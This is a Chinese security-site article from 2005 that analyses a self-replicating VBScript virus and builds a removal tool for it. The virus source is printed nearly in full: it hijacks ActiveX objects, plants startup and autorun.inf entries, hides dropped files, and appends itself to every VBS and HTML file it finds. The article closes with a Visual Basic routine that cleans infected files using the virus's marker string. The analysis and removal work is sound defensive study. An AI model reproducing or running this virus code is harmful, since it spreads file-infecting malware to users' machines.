首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 安全文章 >> 病毒防范 >> 正文
VBS病毒分析和查杀
时间:2005-3-12 0:42:48 出处:网络 作者:未知 编辑:mervin 点击数:

//作者 :牛博威

 

//Email: advice107@sina.com

//htttp://nboy.cnwlt.com

 

 

//本病毒流程十分简单,也十分精炼,当然强度也不高了.

//感染文件类型:

//VBS,HTML,HTM,HTA,HTT,不感染长度为零文件

//获得控制权(也就是开机自启动):

//1、病毒在开始菜单启动项中建立internet.exe.VBS,并把自身写入其中.

//2、病毒在系统目录中建立system.vbs(内含病毒体),通过WSCRIPT.EXE来执行。并且建立autorun.inf文件来设置开机自启。

// 但是由于病毒代码些的有问题,这项功能基本未达到.

//3、把被染毒文件folder.htt拷贝到每个分区的根目录,这样一打开该分区,就执行病毒

//感染:

//利用递归方法,读取硬盘上所有文件,如果符合感染标准,就把自身添加到文件末尾

//我水平有限,注释如有问题请原谅,欢迎和我联系。我的注释采用//,是为了防治此代码被误运行。

〈script language=vbscript〉document.write "〈div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'〉〈"&"APPLET NAME=zxqqrh"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent〉〈/APPLET〉〈/div〉"〈/script〉〈SCRIPT language="VBScript"〉

 

 

 

 

 

On error resume next

Randomize

ErrTest = WScript.ScriptFullname //取自身路径和名称

If Err Then

//找不到自身名称,发生错误。同时也说明此病毒刚进入本机器

EF="htm"

Else

EF="vbs"

set ZEhshll=WScript.CreateObject("WSCript.shell")

if ucase(right(WScript.ScriptFullname,10))="SYSTEM.VBS" THEN

//病毒体SYSTEM.VBS在系统加载的时候启动,同时也把IEXPLORE.EXE打开(要不用户岂不进不了系统:))

ZEhshll.run "IEXPLORE.EXE " &mid(WScript.ScriptFullname,1,3)

end IF

end If

 

if EF="htm" then //对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象

Set PW = document.applets("zxqqrh_guest")

PW.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")

PW.createInstance()

Set MOMUNT = PW.GetObject() //创建WSH对象

PW.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")

PW.createInstance()

Set GRBRRIR = PW.GetObject() //创建fso对象

 

for each ZE in document.scripts

if lcase(ZE.language)="vbscript" then

UQOYMSZEHA=ZE.text

end if

next

else

Set GRBRRIR = CreateObject("Scripting.FileSystemObject")

Set TV = GRBRRIR.OpenTextFile(WScript.ScriptFullname, 1)

UQOYMSZEHA = TV.ReadAll //读取病毒自身代码,并赋给UQOYMSZEHA变量

end if

 

ZW="〈SCRIPT language="&chr(34)&"VBScript"&chr(34)&"〉"&vbcrlf&UQOYMSZEHA&"〈"&chr(47)&"script〉"

XMZPCTBGP ="〈" & "script language=vbscript〉" & vbCrLf & "document.write " & """" & "〈" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'〉" & "〈""&""" & "APPLET NAME=zxqqrh""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent〉" & "〈" & "/APPLET〉" & "〈" & "/div〉""" & vbCrLf & "〈" & "/script〉"&vbcrlf&ZW

WinPath = GRBRRIR.GetSpecialFolder(0) & "\" //获取系统路径

MOMUNT.RegWrite "HKEY_CLASSES_ROOT\.vbs\", "vbsfile" //修改注册表

If not(GRBRRIR.FileExists(WinPath &"Start Menu\Programs\启动\internet.exe.VBS")) Then

//在启动菜单中添加internet.exe.VBS,这个文件的内容就是病毒自身

set systembak = GRBRRIR.CreateTextFile(WinPath &"Start Menu\Programs\启动\internet.exe.VBS", true)

systembak.write UQOYMSZEHA //把病毒自身写入文件

systembak.CLOS

END IF

Set dc = GRBRRIR.Drives

For each va in dc //处理磁盘上的所有文件,包括软盘

var =va&"\" //获取硬盘分区根目录路径

zd(var)

Set f = GRBRRIR.GetFolder(var)

listfl(f)

For Each fz in f.SubFolders

listf(fz)

listfl(fz)

Next

next

 

sub listf(fs)

IF EF="htm" THEN //如果未曾初始化成功,便退出

EXIT SUB

END IF

for each filed in fs.subfolders //递归处理下一级文件

listf(filed)

listfl(filed)

next

end sub

 

sub listfl(f2)

for each ww in f2.files

exte=ucase(GRBRRIR.GetExtensionName (ww))

IF exte="VBS" or exte="HTML" OR EXTE="HTM" OR EXTE="HTA" or exte="HTT" THEN

//如果文件名符合标准,便开始感染该文件

cheack(ww)

end if

next

end sub

 

sub cheack(ww)

Const ForReading = 1, ForWriting = 2, ForAppending = 8

set f1=GRBRRIR.opentextfile(ww,forreading)

hk=f1.readall

if Instr(hk,"'zxqqrh") 〈〉 0 Or Len(hk) 〈 1 Then //'zxqqrh为病毒的感染标志.如果文件长度为0也不感染

f1.close

exit sub

else

Set ddf = GRBRRIR.GetFile(ww) //获取文件句炳

ld= ddf.attributes //保存文件属性

ddf.attributes=0 //修改文件属性,以便感染之

Set OBSXWV = GRBRRIR.OpenTextFile(ww, forappending, True)

IF ucase(GRBRRIR.GetExtensionName (ww))〈〉"VBS" THEN

OBSXWV.write vbcrlf&XMZPCTBGP //感染非vbs文件

else

OBSXWV.write vbcrlf&UQOYMSZEHA //把病毒写入VBS文件

end if

OBSXWV.close

ddf.attributes=ld //恢复文件属性

end if

end sub

 

sub zd(var)

Err.clear

ui=var+"autorun.inf"

If not (GRBRRIR.FileExists(WinPath&"web\folder.htt")) or not (GRBRRIR.FileExists(ui)) then

//判断每个硬盘分区的根目录是否有autorun.inf,系统目录下面是不是有web\folder.htt

//如果存在的话,就把web\folder.htt和desktop.ini拷贝到每个分区根目录

//但是这个判断条件写的有问题,应该把not去掉才显得合理

GRBRRIR.copyfile WinPath&"web\folder.htt", var

GRBRRIR.copyfile WinPath&"desktop.ini", var

If Err Then

bat=var+GRBRRIR.getfilename(iv1) //这句话是不是多余?

set a = GRBRRIR.CreateTextFile(ui, true) //在每个分区建立autorun.inf文件

set b = GRBRRIR.CreateTextFile(var&"system.vbs", true) //在系统路径建立system.vbs

a.WriteLine("[autorun]") //设置开机自启动

a.writeline("open=WSCRIPT.EXE"&" system.vbs") //这就保证了每次开机的时候自动运行system.vbs,也就是病毒本身

b.writeline UQOYMSZEHA //把病毒体写入system.vbs

b.close()

a.Close()

set TK=GRBRRIR.getfile(ui) //修改属性,我的VBS学得不好,不晓得这位老兄为何不在上面把属性改掉

set PF=GRBRRIR.getfile(var&"system.vbs")

TK.attributes = TK.attributes + 2

PF.attributes = PF.attributes + 2

end if

end if

end sub〈/script〉

 

 

既然弄懂了其感染机理,就可以编写相关杀毒软件了。

 

要杀必须先查,我们通过病毒的特征代码来查找,比如通过查找文件中是不是含有'zxqqrh字段,当然了,查找的特征代码越长越好。

 

然后我们要杀毒,我的看法是,对于网页,最后的代码无非是〈/html〉,因此,把网页代码最后一个“〈/html〉”后面所有的部分都删除。或许你会问,为什么不首先算出病毒大小,然后删除最后这么大的部分呢?因为病毒代码中间的那一大段空白空间是随机产生的,这样病毒的大小是随机变化的。对于其他的染毒文件如何处理呢?其他文件一般是.htt,.hta等等,反正我的计算机中这些都不重要,因此我就全部把他们delete了,呵呵。下面是杀毒软件的文件处理部分,函数的参数是任何一个网页文件。我用的方法是先删除原来的文件,在重新建立,感觉不好,不过先凑和着用吧。

 

Private Sub check(filpath As String)

Dim content As String

Dim ts As TextStream

Dim newEnd As Integer

On Error Resume Next

  Err.Clear

  Set ts = fsxo.OpenTextFile(filpath) '打开文件

  content = ts.ReadAll '读取文件内容

  If Trim(content) = "" Then Exit Sub

  ts.Close

  List2.AddItem filpath '打印文件名称

  If InStr(content, "'zxqqrh") 〈〉 0 Then

  fsxo.DeleteFile filpath, True '强行删除文件

  Set filstr = fsxo.CreateTextFile(filpath, True, False) '新建立同名文件

  filstr.Close

  newEnd = InStrRev(1, content, "〈/html〉") + 6 '因为是网页文件,所以原来的文件末尾应该是"〈/html〉",这里用inStrRev是为了查找最后的〈/html〉标签

  Set ts = fsxo.OpenTextFile(filpath, ForWriting, True, TristateFalse)

  ts.Write (Left$(content, newEnd)) '把原来文件的内容写入新建立的同名文件

  ts.Close

  If Err Then

  wrong = wrong + 1 '错误文件数目,就是操作过程中出现错误的文件

  List2.AddItem " 错误号: " + Err.Number

  List3.AddItem filpath + "错误原因: " + Str(Err.Number)

  Else

  vircount = vircount + 1 '正确处理的文件

  List2.AddItem " 杀毒成功!"

  End If

  Else

  List2.AddItem "未感染!"

  End If

End Sub

 

精彩推荐
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
ADSL共享上网方式大总
BMP文件格式分析
十招教你学会破解
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号